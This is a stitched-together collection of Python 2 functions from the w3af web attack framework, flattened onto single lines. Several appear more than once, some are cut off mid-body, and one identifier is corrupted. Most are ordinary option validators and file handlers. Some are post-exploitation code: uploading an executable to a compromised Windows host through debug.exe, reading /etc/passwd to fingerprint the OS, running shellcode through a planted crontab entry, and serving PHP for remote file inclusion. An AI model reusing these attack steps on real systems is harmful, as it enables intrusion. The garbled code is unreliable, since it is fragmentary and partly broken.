def validate(self, value): directory = os.path.abspath(os.path.dirname(value)) if not os.path.isdir(directory): msg = 'Invalid input file option value "%s", the directory does not'\ ' exist.' raise w3afException(msg % value) if not os.access(directory, os.R_OK): msg = 'Invalid input file option value "%s", the user doesn\'t have' \ ' enough permissions to read from the specified directory.' raise w3afException(msg % value) if not os.path.exists(value): msg = 'Invalid input file option value "%s", the specified file' \ ' does not exist.' raise w3afException(msg % value) if not os.access(value, os.R_OK): msg = 'Invalid input file option value "%s", the user doesn\'t have' \ ' enough permissions to read the specified file.' raise w3afException(msg % value) if not os.path.isfile(value): msg = 'Invalid input file option value "%s", the path doesn\'t' \ ' point to a file.' raise w3afException(msg % value) return value
def save(self, file_name=''): ''' Saves the profile to file_name. :return: None ''' if not self._profile_file_name: if not file_name: raise w3afException('Error while saving profile, you didn\'t ' 'specified the file name.') else: # The user's specified a file_name! if not file_name.endswith('.pw3af'): file_name += '.pw3af' if os.path.sep not in file_name: file_name = os.path.join( get_home_dir(), 'profiles', file_name) self._profile_file_name = file_name try: file_handler = open(self._profile_file_name, 'w') except: raise w3afException( 'Failed to open profile file: ' + self._profile_file_name) else: self._config.write(file_handler)
def set_options(self, options_list): ''' Handle user configuration parameters. :return: None ''' # The not yet compiled all_in_one_regex tmp_not_compiled_all = [] # # Add the regexes from the file # self._regexlist_compiled = [] regex_file_path = options_list['regex_file_path'].get_value() if regex_file_path and not regex_file_path == 'None': self._regex_file_path = regex_file_path try: f = file(self._regex_file_path) except Exception, e: msg = 'Unable to open file "%s", error: "%s".' raise w3afException(msg % (self._regex_file_path, e)) else: for regex in f: current_regex = regex.strip() try: re_inst = re.compile(current_regex, re.I | re.DOTALL) except: msg = 'Invalid regex in input file: "%s"' raise w3afException(msg % current_regex) else: self._regexlist_compiled.append((re_inst, None)) tmp_not_compiled_all.append(current_regex)
def __init__(self, http_resp): # Create the proper parser instance, please note that # the order in which we ask for the type is not random, # first we discard the images which account for a great # % of the URLs in a site, then we ask for WML which is # a very specific thing to match, then we try text or HTML # which is very generic (if we would have exchanged these two # we would have never got to WML), etc. if http_resp.is_image(): msg = 'There is no parser for images.' raise w3afException(msg) elif self._is_wml(http_resp): parser = WMLParser(http_resp) elif http_resp.is_text_or_html(): parser = HTMLParser(http_resp) elif self._is_pdf(http_resp): parser = PDFParser(http_resp) elif self._is_swf(http_resp): parser = SWFParser(http_resp) else: msg = 'There is no parser for "%s".' % http_resp.get_url() raise w3afException(msg) self._parser = parser
def _cut(self, body): ''' After defining a cut, I can cut parts of an HTML and return the important sections. :param body: The HTML response that I need to cut to obtain the useful information. ''' if self._header_length is None or self._footer_length is None: msg = ('You need to call _define_exact_cut() or _guess_cut() before' 'calling _cut().') raise w3afException(msg) if self._header_length + self._footer_length > len(body): # FIXME: I should handle this in some way. msg = ('Cut algorithm error: len(header+footer)>len(body).') raise w3afException(msg) if body == '': om.out.debug('Called _cut() with an empty body to cut, returning an empty result.') return body # Special case where there are no header or footers, if self._header_length == self._footer_length == 0: return body if self._footer_length == 0: return body[self._header_length:] else: return body[self._header_length:-self._footer_length]
def _exploit(self, plugin_name, params, show_list=True): ''' Exploits a vuln. using a single plugin. ''' # Did the user indicated what vulnerability to exploit ? if len(params) == 1: try: vuln_to_exploit = params[0] if vuln_to_exploit != '*': vuln_to_exploit = int(params[0]) except: raise w3afException( 'You specified an invalid vulnerability id.') else: vuln_to_exploit = None if plugin_name not in self._configs: raise w3afException('Unknown plugin. Use the list command to view available plugins.') else: self._plugin = plugin = self._w3af.plugins.get_plugin_inst( 'attack', plugin_name) try: response = plugin.can_exploit(vuln_to_exploit) except w3afException, e: raise e else:
def __init__(self, profname='', workdir=None): ''' Creating a profile instance like p = profile() is done in order to be able to create a new profile from scratch and then call save(profname). When reading a profile, you should use p = profile(profname). ''' # The default optionxform transforms the option to lower case; # w3af needs the value as it is optionxform = lambda opt: opt self._config = ConfigParser.ConfigParser() # Set the new optionxform function self._config.optionxform = optionxform if profname: # Get profile name's complete path profname = self._get_real_profile_path(profname, workdir) with codecs.open(profname, "rb", UTF8) as fp: try: self._config.readfp(fp) except ConfigParser.Error, cpe: msg = 'ConfigParser error in profile: "%s". Exception: "%s"' raise w3afException(msg % (profname, str(cpe))) except Exception, e: msg = 'Unknown error in profile: "%s". Exception: "%s"' raise w3afException(msg % (profname, str(e)))
def transfer(self, data_str, destination): ''' This method is used to transfer the data_str from w3af to the compromised server. ''' om.out.debug('Starting upload.') self._filename = self._get_filename(destination) # Check if echo exists and works as expected if not self._exec_methodutedCanTransfer: if not self.can_transfer(): msg = 'Failed to transfer file to the compromised server, ' msg += 'EchoWindows.can_transfer returned False.' raise w3afException(msg) # if exists, delete _filename res = self._exec_method('del ' + self._filename) # Prepare the scr file. self._exec_method( 'echo n ' + self._filename + '._ >> ' + self._filename) self._exec_method('echo r cx' + ' >> ' + self._filename) self._exec_method( 'echo ' + hex(len(data_str))[2:] + ' >> ' + self._filename) self._exec_method('echo f 0000 ffff 00' + ' >> ' + self._filename) # http://www.totse.com/en/technology/computer_technology/windowsdebugco172680.html i = 0 j = 256 while i < len(data_str): # Prepare the command cmd = "echo e " + hex(j)[2:] for c in data_str[i:i + self._step]: cmd += ' ' + hex(ord(c))[2:].zfill(2) cmd += " >> " + self._filename i += self._step j += self._step # Send the command to the remote server self._exec_method(cmd) # "close" the scr file self._exec_method('echo w >> ' + self._filename) self._exec_method('echo q >> ' + self._filename) # Now, I transform the text file into a exe # this trick was taken from sqlninja! om.out.debug('Transforming the text file into a binary file. Thanks' ' to icesurfer and sqlninja for this technique!') res = self._exec_method('debug < ' + self._filename) if 'file creation error' in res.lower(): raise w3afException('Error in remote debug.exe command.') extension = self._get_extension(destination) om.out.debug('Changing the extension of the binary file to match the original one ()') res = self._exec_method('move ' + self._filename + '._ ' + self._filename + '.' + extension) om.out.debug('Finished file upload.')
def _configExploit(self, params): if len(params) == 0: raise w3afException('Plugin name was expected.') if len(params) > 1: raise w3afException( 'Unexpected parameters: ' + ','.join(params[1:])) plugin_name = params[0] if plugin_name not in self._configs: raise w3afException("Unknown plugin " + plugin_name) return self._configs[plugin_name]
def _cmd_desc(self, params): if len(params) == 0: raise w3afException("Plugin name is required") plugin_name = params[0] if plugin_name not in self._plugins: raise w3afException("Unknown plugin: '%s'" % plugin_name) plugin = self._w3af.plugins.get_plugin_inst(self._name, plugin_name) long_desc = plugin.get_long_desc() long_desc = textwrap.dedent(long_desc) om.out.console(long_desc)
def get_plugin_options(self, plugin_type, plugin_name): ''' :return: A dict with the options for a plugin. For example: { 'LICENSE_KEY':'AAAA' } ''' # Get the plugin defaults with their types plugin_instance = factory( 'plugins.' + plugin_type + '.' + plugin_name) options_list = plugin_instance.get_options() for section in self._config.sections(): # Section is something like audit.xss or crawl.web_spider try: type, name = section.split('.') except: pass else: if type == plugin_type and name == plugin_name: for option in self._config.options(section): try: value = self._config.get(section, option) except KeyError: # We should never get here... msg = 'The option "%s" is unknown for the "%s" plugin.' raise w3afException(msg % (option, plugin_name)) else: options_list[option].set_value(value) return options_list
def _get_file_list(type_of_list, extension, force_extension=False): ''' :param type_of_list: Indicates what type of list to return, options: - code - webshell :return: A list with tuples of filename and extension for the webshells available in the webshells directory. ''' known_framework = [] uncertain_framework = [] path = os.path.join('plugins', 'attack' , 'payloads', type_of_list) path += os.path.sep if force_extension: filename = path + type_of_list + '.' + extension real_extension = extension known_framework.append((filename, real_extension)) else: powered_by_header_list = kb.kb.raw_read('server_header', 'powered_by_string') filename = '' file_list = [x for x in os.listdir(path) if x.startswith(type_of_list)] for shell_filename in file_list: filename = path + shell_filename real_extension = shell_filename.split('.')[1] # Just in case... this saves me from gedit and joe which save the # old files like code.php~ if real_extension.endswith('~'): continue # Using the powered By headers # More than one header can have been sent by the server for h in powered_by_header_list: if h.lower().count(real_extension): known_framework.append((filename, real_extension)) # extension here is the parameter passed by the user, that can be '' # (this happens in dav) uncertain_framework.append((filename, real_extension)) # We keep the order, first the ones we think could work, then the ones that may # work but... are just a long shot. known_framework.extend(uncertain_framework) res = [] for filename, real_extension in known_framework: try: cmd_file = open(filename) except: raise w3afException('Failed to open filename: ' + filename) else: file_content = cmd_file.read() cmd_file.close() res.append((file_content, real_extension)) return res
def get_name(self): ''' This method is called when the proxy is used, in order to create a prompt for the user. :return: The name of the proxy (rfi_proxy, dav_proxy, etc.) ''' raise w3afException('You should implement the get_name method of classes that inherit from "proxy"')
def validate(self, value): if not is_ip_address(value): msg = 'Invalid IP address specified ("%s")' % value raise w3afException(msg) return value
def _do_google_search(self): start = self._start res_pages = [] max_start = start + self._count param_dict = {'q': self._query, 'start': 0} there_is_more = True while start < max_start and there_is_more: param_dict['start'] = start params = urllib.urlencode(param_dict) gm_url = self.GOOGLE_SEARCH_URL + params gm_url_instance = URL(gm_url) response = self._do_GET(gm_url_instance, with_rand_ua=False) if GOOGLE_SORRY_PAGE in response: msg = 'Google is telling us to stop doing automated tests.' raise w3afException(msg) if not self._has_more_items(response.get_body()): there_is_more = False res_pages.append(response) start += 10 return res_pages
def os_detection_exec(exec_method): ''' Uses the exec_method to run remote commands and determine what's the remote OS is and returns a string with 'windows' or 'linux' or raises a w3afException if unknown. ''' try: linux1 = exec_method('echo -n w3af') linux2 = exec_method('head -n 1 /etc/passwd') except w3afException: pass else: if 'w3af' in linux1 and linux2.count(':') > 3: om.out.debug('Identified remote OS as Linux, returning "linux".') return 'linux' try: # Try if it's a windows system win1 = exec_method('type %SYSTEMROOT%\\win.ini') win2 = exec_method('echo /?') except w3afException: pass else: if '[fonts]' in win1 and 'ECHO' in win2: om.out.debug( 'Identified remote OS as Windows, returning "windows".') return 'windows' raise w3afException('Failed to get/identify the remote OS.')
def _exec_payload(self, remote_filename): ''' This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" :return: None ''' cH = crontabHandler(self._exec_method) if not cH.can_delay(): msg = '[lnxVd] Failed to create cron entry.' om.out.debug(msg) raise w3afException(msg) else: wait_time = cH.add_to_schedule(remote_filename) om.out.console('Crontab entry successfully added. Waiting for shellcode execution.') time.sleep(wait_time + 3) om.out.debug( 'Shellcode successfully executed, restoring old crontab.') cH.restore_old_schedule() om.out.debug('All done, check metasploit for results.')
def testServer(ssl, server, port, matchCount, generateFP): global VERBOSE global PORT global useSSL VERBOSE = 0 PORT = port useSSL = ssl MATCH_COUNT = matchCount fingerprintDir = 'plugins' + os.path.sep + 'infrastructure' + \ os.path.sep + 'oHmap' + os.path.sep + 'known.servers' + os.path.sep # Get the fingerprint target_url = server fp = get_fingerprint(target_url) # Read the fingerprint db known_servers = [] for f in glob.glob(fingerprintDir + '*'): ksf = file(f) try: ### FIXME: This eval is awful, I should change it to pickle. ks = eval(ksf.read()) except Exception, e: raise w3afException( 'The signature file "' + f + '" has an invalid syntax.') else: known_servers.append(ks) ksf.close()
def _init(self): try: self._file = open(self._file_name, "w") except IOError, io: msg = 'Can\'t open report file "%s" for writing, error: %s.' raise w3afException(msg % (os.path.abspath(self._file_name), io.strerror))
def _get_file_list(type_of_list, extension, force_extension=False): ''' :param type_of_list: Indicates what type of list to return, options: - code - webshell :return: A list with tuples of filename and extension for the webshells available in the webshells directory. ''' known_framework = [] uncertain_framework = [] path = os.path.join('plugins', 'attack' , 'payloads', type_of_list) path += os.path.sep if force_extension: filename = path + type_of_list + '.' + extension real_extension = extension known_framework.append((filename, real_extension)) else: powered_by_header_list = kb.kb.get('server_header', 'powered_by_string') filename = '' file_list = [x for x in os.listdir(path) if x.startswith(type_of_list)] for shell_filename in file_list: filename = path + shell_filename real_extension = shell_filename.split('.')[1] # Just in case... this saves me from gedit and joe which save the # old files like code.php~ if real_extension.endswith('~'): continue # Using the powered By headers # More than one header can have been sent by the server for h in powered_by_header_list: if h.lower().count(real_extension): known_framework.append((filename, real_extension)) # extension here is the parameter passed by the user, that can be '' # (this happens in dav) uncertain_framework.append((filename, real_extension)) # We keep the order, first the ones we think could work, then the ones that may # work but... are just a long shot. known_framework.extend(uncertain_framework) res = [] for filename, real_extension in known_framework: try: cmd_file = open(filename) except: raise w3afException('Failed to open filename: ' + filename) else: file_content = cmd_file.read() cmd_file.close() res.append((file_content, real_extension)) return res
def read_os_detection(remote_read): ''' Uses the remote_read method to read remote files and determine what the remote OS is. :return: String with 'windows' or 'linux' or raises a w3afException if unknown. ''' try: linux1 = remote_read('/etc/passwd') linux2 = remote_read('/etc/mtab') linux3 = remote_read('/proc/sys/kernel/ostype') except: pass else: if '/bin/' in linux1 or 'rw' in linux2 or 'linux' in linux3.lower(): om.out.debug('Identified remote OS as Linux, returning "linux".') return 'linux' try: # Try if it's a windows system # TODO: Are we sure that this works? When is the %SYSTEMROOT% resolved? win1 = remote_read('%SYSTEMROOT%\\win.ini') win2 = remote_read('C:\\windows\\win.ini') win3 = remote_read('C:\\win32\\win.ini') win4 = remote_read('C:\\win\\win.ini') except: pass else: if '[fonts]' in win1 + win2 + win3 + win4: om.out.debug( 'Identified remote OS as Windows, returning "windows".') return 'windows' raise w3afException('Failed to get/identify the remote OS.')
def validate(self, value): try: re.compile(value) except Exception, e: msg = 'The regular expression "%s" is invalid, the compilation'\ ' error was: "%s".' raise w3afException(msg % (value, e))
def __getitem__(self, item_name): """ This method is used when on any configurable object the developer does something like: def set_options( self, optionsList ): self._check_persistent = optionsList['check_persistent'] :return: The value of the item that was selected >>> from core.data.options.opt_factory import opt_factory >>> opt_list = OptionList() >>> opt_list.add( opt_factory('name', True, 'desc', 'boolean') ) >>> opt_list['name'] <option name:name|type:boolean|value:True> """ try: item_name = int(item_name) except: # A string for o in self._internal_opt_list: if o.get_name() == item_name: return o else: msg = 'The OptionList doesn\'t contain an option with the name: "%s"' raise w3afException(msg % item_name) else: # An integer return self._internal_opt_list[item_name]
def _gen_url_to_include(self, file_content, extension): ''' Generate the URL to include, based on the configuration it will return a URL pointing to a XSS bug, or our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = self._xss_vuln.get_url().uri2url() data_container = self._xss_vuln.get_dc() data_container = data_container.copy() data_container[self._xss_vuln.get_var()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = rand_alnum() filepath = os.path.join(get_home_dir(), 'webroot', filename) try: file_handler = open(filepath, 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://%s:%s/%s' % (self._listen_address, self._listen_port, filename) return url_to_include
def testServer(ssl, server, port, matchCount, generateFP): global VERBOSE global PORT global useSSL VERBOSE = 0 PORT = port useSSL = ssl MATCH_COUNT = matchCount fingerprintDir = 'plugins' + os.path.sep + 'infrastructure' + \ os.path.sep + 'oHmap' + os.path.sep + 'known.servers' + os.path.sep # Get the fingerprint target_url = server fp = get_fingerprint(target_url) # Read the fingerprint db known_servers = [] for f in glob.glob(fingerprintDir + '*'): ksf = file(f) try: ### FIXME: This eval is awful, I should change it to pickle. ks = eval(ksf.read()) except Exception, e: raise w3afException('The signature file "' + f + '" has an invalid syntax.') else: known_servers.append(ks) ksf.close()
def set_what_not_to_trap(self, regex): '''Set regular expression that indicates what URLs TO trap.''' try: self._what_not_to_trap = re.compile(regex) except re.error: error = 'The regular expression you configured is invalid.' raise w3afException(error)
def _do_google_search(self): res_pages = [] start = self._start max_start = start + self._count there_is_more = True while start < max_start and there_is_more: params = urllib.urlencode({'hl': 'en', 'q': self._query, 'start': start, 'sa': 'N'}) google_url_instance = URL(self.GOOGLE_SEARCH_URL + params) response = self._do_GET(google_url_instance, with_rand_ua=False) # Remember that HTTPResponse objects have a faster "__in__" than # the one in strings; so string in response.get_body() is slower than # string in response if GOOGLE_SORRY_PAGE in response: msg = 'Google is telling us to stop doing automated tests.' raise w3afException(msg) if not self._has_more_items(response.get_body()): there_is_more = False # Save the result page res_pages.append(response) start += 10 return res_pages
def _cmd_use(self, params): ''' :param params: A two-elems list containing the name of the profile to load and the original working directory. ''' if not params: om.out.console('Parameter missing, please see the help:') self._cmd_help(['use']) else: profile = params[0] if profile not in self._profiles: raise w3afException('Unknown profile name: "%s"' % profile) try: workdir = params[1] except IndexError: workdir = None try: self._w3af.profiles.use_profile(profile, workdir=workdir) except w3afException, w3: om.out.console(str(w3)) om.out.console('The plugins configured by the scan profile have ' 'been enabled, and their options configured.') om.out.console('Please set the target URL(s) and start the scan.')
def validate(self, value): temp_value = value + ',' mo = self.LST_VALIDATION_RE.match(temp_value) try: matched_str = mo.group(0) assert matched_str == temp_value except Exception: msg = 'Invalid list format in user configuration: "%s".' % value raise w3afException(msg) else: res = [] list_items = self.LST_PARSE_RE.findall(temp_value) for item in list_items: item = item.strip() if item == '': continue # Now I check for single and double quotes if (item.startswith('"') and item.endswith('"')) or \ (item.startswith("'") and item.endswith("'")): res.append(item[1:-1]) else: res.append(item) return res
def next(self): ''' The user interface calls this method until it returns None. :return: The next question that has to be asked to the user. ''' # Special case for first iteration if self._firstQuestion == True: self._firstQuestion = False self._currentQuestion = self._question_lst[0] return self._question_lst[0] # Save the user completed values, so we can handle previous button self._currentQuestion.set_previously_answered_values(self._user_options) self._already_asked.append(self._currentQuestion) # Special case to end iteration if self._nextQuestionId is None: return None # Find the next one possibleQuestions = [q for q in self._question_lst if q.get_question_id( ) == self._nextQuestionId] if len(possibleQuestions) != 1: raise w3afException('We have more than one next question. Please verify your wizard definition.\ Possible questions are: ' + str(possibleQuestions)) else: # return the next question self._currentQuestion = possibleQuestions[0] return possibleQuestions[0]
def _exec_payload(self, remote_filename): ''' This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" :return: None ''' cH = crontabHandler(self._exec_method) if not cH.can_delay(): msg = '[lnxVd] Failed to create cron entry.' om.out.debug(msg) raise w3afException(msg) else: wait_time = cH.add_to_schedule(remote_filename) om.out.console( 'Crontab entry successfully added. Waiting for shellcode execution.' ) time.sleep(wait_time + 3) om.out.debug( 'Shellcode successfully executed, restoring old crontab.') cH.restore_old_schedule() om.out.debug('All done, check metasploit for results.')
def next(self): ''' The user interface calls this method until it returns None. :return: The next question that has to be asked to the user. ''' # Special case for first iteration if self._firstQuestion == True: self._firstQuestion = False self._currentQuestion = self._question_lst[0] return self._question_lst[0] # Save the user completed values, so we can handle previous button self._currentQuestion.set_previously_answered_values( self._user_options) self._already_asked.append(self._currentQuestion) # Special case to end iteration if self._nextQuestionId is None: return None # Find the next one possibleQuestions = [ q for q in self._question_lst if q.get_question_id() == self._nextQuestionId ] if len(possibleQuestions) != 1: raise w3afException( 'We have more than one next question. Please verify your wizard definition.\ Possible questions are: ' + str(possibleQuestions)) else: # return the next question self._currentQuestion = possibleQuestions[0] return possibleQuestions[0]
def _createCronLine(self, remoteDate, command_to_exec): ''' Creates a crontab line that executes the command one minute after the "date" parameter. :return: A tuple with the new line to add to the crontab, and the time that it will take to run the command. ''' res_line = '' try: # date +"%d-%m-%H:%M:%S-%u" day_number, month, hour, week_day = remoteDate.split('-') except: raise w3afException('The date command of the remote server returned an unknown format.') else: hour, minute, sec = hour.split(':') wait_time = None if int(sec) > 57: # Just to be 100% sure... delta = 2 wait_time = 4 + 60 else: delta = 1 wait_time = 60 - int(sec) minute = int(minute) + delta hour, minute, am_pm = self._fix_time(hour, minute) res_line = '%s %s %s %s %s %s' % (minute, hour, day_number, month, week_day, command_to_exec) return res_line, wait_time
def _gen_url_to_include(self, file_content, extension): ''' Generate the URL to include, based on the configuration it will return a URL pointing to a XSS bug, or our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = self._xss_vuln.get_url().uri2url() data_container = self._xss_vuln.get_dc() data_container = data_container.copy() data_container[self._xss_vuln.get_var()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = rand_alnum() filepath = os.path.join(get_home_dir(), 'webroot', filename) try: file_handler = open(filepath, 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://%s:%s/%s' % ( self._listen_address, self._listen_port, filename) return url_to_include
def _do_google_search(self): res_pages = [] start = self._start max_start = start + self._count there_is_more = True while start < max_start and there_is_more: params = urllib.urlencode({ 'hl': 'en', 'q': self._query, 'start': start, 'sa': 'N' }) google_url_instance = URL(self.GOOGLE_SEARCH_URL + params) response = self._do_GET(google_url_instance, with_rand_ua=False) # Remember that HTTPResponse objects have a faster "__in__" than # the one in strings; so string in response.get_body() is slower than # string in response if GOOGLE_SORRY_PAGE in response: msg = 'Google is telling us to stop doing automated tests.' raise w3afException(msg) if not self._has_more_items(response.get_body()): there_is_more = False # Save the result page res_pages.append(response) start += 10 return res_pages
def _id_failed_login_page(self, freq, user_field, passwd_field): ''' Generate TWO different response bodies that are the result of failed logins. The first result is for logins with filled user and password fields; the second one is for a filled user and a blank passwd. ''' # The result is going to be stored here login_failed_result_list = [] data_container = freq.get_dc() data_container = self._true_extra_fields(data_container, user_field, passwd_field) # The first tuple is an invalid username and a password # The second tuple is an invalid username with a blank password tests = [(rand_alnum(8), rand_alnum(8)), (rand_alnum(8), '')] for user, passwd in tests: # Setup the data_container # Remember that we can have password only forms! if user_field is not None: data_container[user_field][0] = user data_container[passwd_field][0] = passwd freq.set_dc(data_container) response = self._uri_opener.send_mutant(freq, grep=False) body = response.get_body() body = body.replace(user, '') body = body.replace(passwd, '') # Save it login_failed_result_list.append(body) # Now I perform a self test, before starting with the actual bruteforcing # The first tuple is an invalid username and a password # The second tuple is an invalid username with a blank password tests = [(rand_alnum(8), rand_alnum(8)), (rand_alnum(8), '')] for user, passwd in tests: # Now I do a self test of the result I just created. # Remember that we can have password only forms! if user_field is not None: data_container[user_field][0] = user data_container[passwd_field][0] = passwd freq.set_dc(data_container) response = self._uri_opener.send_mutant(freq, grep=False) body = response.get_body() body = body.replace(user, '') body = body.replace(passwd, '') if not self._matches_failed_login(body, login_failed_result_list): raise w3afException('Failed to generate a response that ' 'matches the failed login page.') return login_failed_result_list
def end(self): ''' This method is called when the proxy is not going to be used anymore. It should be used to remove the auxiliary files (local and remote) generated by the proxy. :return: None ''' raise w3afException('You should implement the end method of classes that inherit from "proxy"')
def _init(self): self._file_name = os.path.expanduser(self._file_name) try: self._file = open(self._file_name, "w") except IOError, io: msg = 'Can\'t open report file "%s" for writing, error: %s.' raise w3afException( msg % (os.path.abspath(self._file_name), io.strerror))
def _init(self): self._initialized = True try: self._file = open(self._output_file_name, "w") except IOError, io: msg = 'Can\'t open report file "%s" for writing, error: %s.' raise w3afException( msg % (os.path.abspath(self._output_file_name), io.strerror))
def set_wsdl(self, xmlData): ''' :param xmlData: The WSDL to parse. At this point, we really don't know if it really is a WSDL document. ''' if not self.is_WSDL(xmlData): raise w3afException('The body content is not a WSDL.') else: try: self._proxy = SOAPpy.WSDL.Proxy(xmlData) except expat.ExpatError: raise w3afException('The body content is not a WSDL.') except Exception, e: msg = 'The body content is not a WSDL.' msg += ' Unhandled exception in SOAPpy: "' + str(e) + '".' om.out.debug(msg) raise w3afException(msg)
def get_name(self): ''' This method is called when the proxy is used, in order to create a prompt for the user. :return: The name of the proxy (rfi_proxy, dav_proxy, etc.) ''' raise w3afException( 'You should implement the get_name method of classes that inherit from "proxy"' )
def set_options(self, options_list): self.origin_header_value = options_list[ 'origin_header_value'].get_value() # Check options setted if self.origin_header_value is None or\ len(self.origin_header_value.strip()) == 0: msg = 'Please enter a valid value for the "Origin" HTTP header.' raise w3afException(msg)
def get_delayed_execution_handler(self): os = os_detection_exec(self._exec_method) if os == 'windows': return atHandler(self._exec_method) elif os == 'linux': return crontabHandler(self._exec_method) else: raise w3afException( 'Failed to create a delayed execution handler.')
def _exec_payload(self, remote_file_location): ''' This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" This method should be implemented in winVd and lnxVd. ''' raise w3afException('Please implement the _exec_payload method.')
def get_ns(self, method): ''' @method: The method name :return: The namespace of the WSDL ''' if method in self._proxy.methods.keys(): return str(self._proxy.methods[method].namespace) else: raise w3afException('Unknown method name.')
def __init__(self, w3af, response_list, distance_function=LEVENSHTEIN, custom_code=None): ''' :param response_list: A list with the responses to graph. ''' self.w3af = w3af w3afDotWindow.__init__(self) self.widget.connect('clicked', self.on_url_clicked) # Now I generate the dotcode based on the data if distance_function == LEVENSHTEIN: dotcode = self._generateDotCode( response_list, distance_function=self._relative_distance) elif distance_function == HTTP_RESPONSE: dotcode = self._generateDotCode( response_list, distance_function=self._http_code_distance) elif distance_function == CONTENT_LENGTH: dotcode = self._generateDotCode(response_list, distance_function= self._response_length_distance) elif distance_function == CUSTOM_FUNCTION: try: callable_object = self._create_callable_object(custom_code) except Exception, e: # TODO: instead of hiding..., which may consume memory... # why don't killing? self.hide() msg = 'Please review your customized code. An error was raised'\ ' while compiling: "%s".' % e raise w3afException(msg) try: dotcode = self._generateDotCode( response_list, distance_function=callable_object) except Exception, e: # TODO: instead of hiding..., which may consume memory... why don't killing? self.hide() msg = 'Please review your customized code. An error was raised on run time: "' msg += str(e) + '"' raise w3afException(msg)
def validate(self, value): parsed_list = super(URLListOption, self).validate(value) res = [] for input_url in parsed_list: try: res.append(URL(input_url)) except Exception, e: msg = 'Invalid URL configured by user, error: %s.' % e raise w3afException(msg)
def _read_ghdb(self): ''' :return: Reads the ghdb.xml file and returns a list of GoogleHack objects. ''' try: ghdb_fd = file(self._ghdb_file) except Exception, e: msg = 'Failed to open ghdb file: "%s", error: "%s".' raise w3afException(msg % (self._ghdb_file, e))
def remove(self): ''' Removes the profile file which was used to create this instance. ''' try: os.unlink(self._profile_file_name) except Exception, e: msg = 'An exception occurred while removing the profile. Exception:' msg += ' "%s".' % e raise w3afException(msg)
def end(self): ''' This method is called when the proxy is not going to be used anymore. It should be used to remove the auxiliary files (local and remote) generated by the proxy. :return: None ''' raise w3afException( 'You should implement the end method of classes that inherit from "proxy"' )
def validate(self, value): if value.lower() == 'true': validated_value = True elif value.lower() == 'false': validated_value = False else: msg = 'Invalid boolean option value "%s".' % value raise w3afException(msg) return validated_value
def discover(self, fuzzable_request): ''' This method MUST be implemented on every plugin. :param fuzzable_request: The target to use for infrastructure plugins. :return: None. These plugins should store information in the KB. Results from this method will be ignored by the core. ''' raise w3afException( 'Plugin is not implementing required method discover')
def _init(self): ''' Write messages to HTML file. ''' if not self._initialized: self._initialized = True try: self._file = codecs.open(self._output_file_name, "w", "utf-8", 'replace') #self._file = open( self._output_file_name, "w" ) except IOError, io: msg = 'Can\'t open report file "%s" for writing: "%s"' msg = msg % (os.path.abspath( self._output_file_name), io.strerror) raise w3afException(msg) except Exception, e: msg = 'Can\'t open report file "%s" for writing: "%s"' msg = msg % (os.path.abspath(self._output_file_name), e) raise w3afException(msg)
def set_options(self, option_list): ''' Sets the Options given on the OptionList to self. The options are the result of a user entering some data on a window that was constructed using the XML Options that was retrieved from the plugin using get_options() This method MUST be implemented on every plugin. :return: No value is returned. ''' self._user_option_fix_content_len = option_list[ 'fix_content_len'].get_value() self._expressions = ','.join(option_list['expressions'].get_value()) self._expressions = re.findall('([qs])([bh])/(.*?)/(.*?)/;?', self._expressions) if len(self._expressions) == 0 and len(option_list['expressions'].get_value()) != 0: raise w3afException('The user specified expression is invalid.') for exp in self._expressions: req_res, body_header, regex_str, target_str = exp if req_res not in ('q', 's'): msg = 'The first letter of the sed expression should be "q"'\ ' for indicating request or "s" for response, got "%s"'\ ' instead.' raise w3afException(msg % req_res) if body_header not in ('b', 'h'): msg = 'The second letter of the expression should be "b"'\ ' for body or "h" for header, got "%s" instead.' raise w3afException(msg % body_header) try: regex = re.compile(regex_str) except re.error, re_err: msg = 'Regular expression compilation error at "%s", the'\ ' original exception was "%s".' raise w3afException(msg % (regex_str, re_err)) self._manglers[req_res][body_header].add((regex, target_str))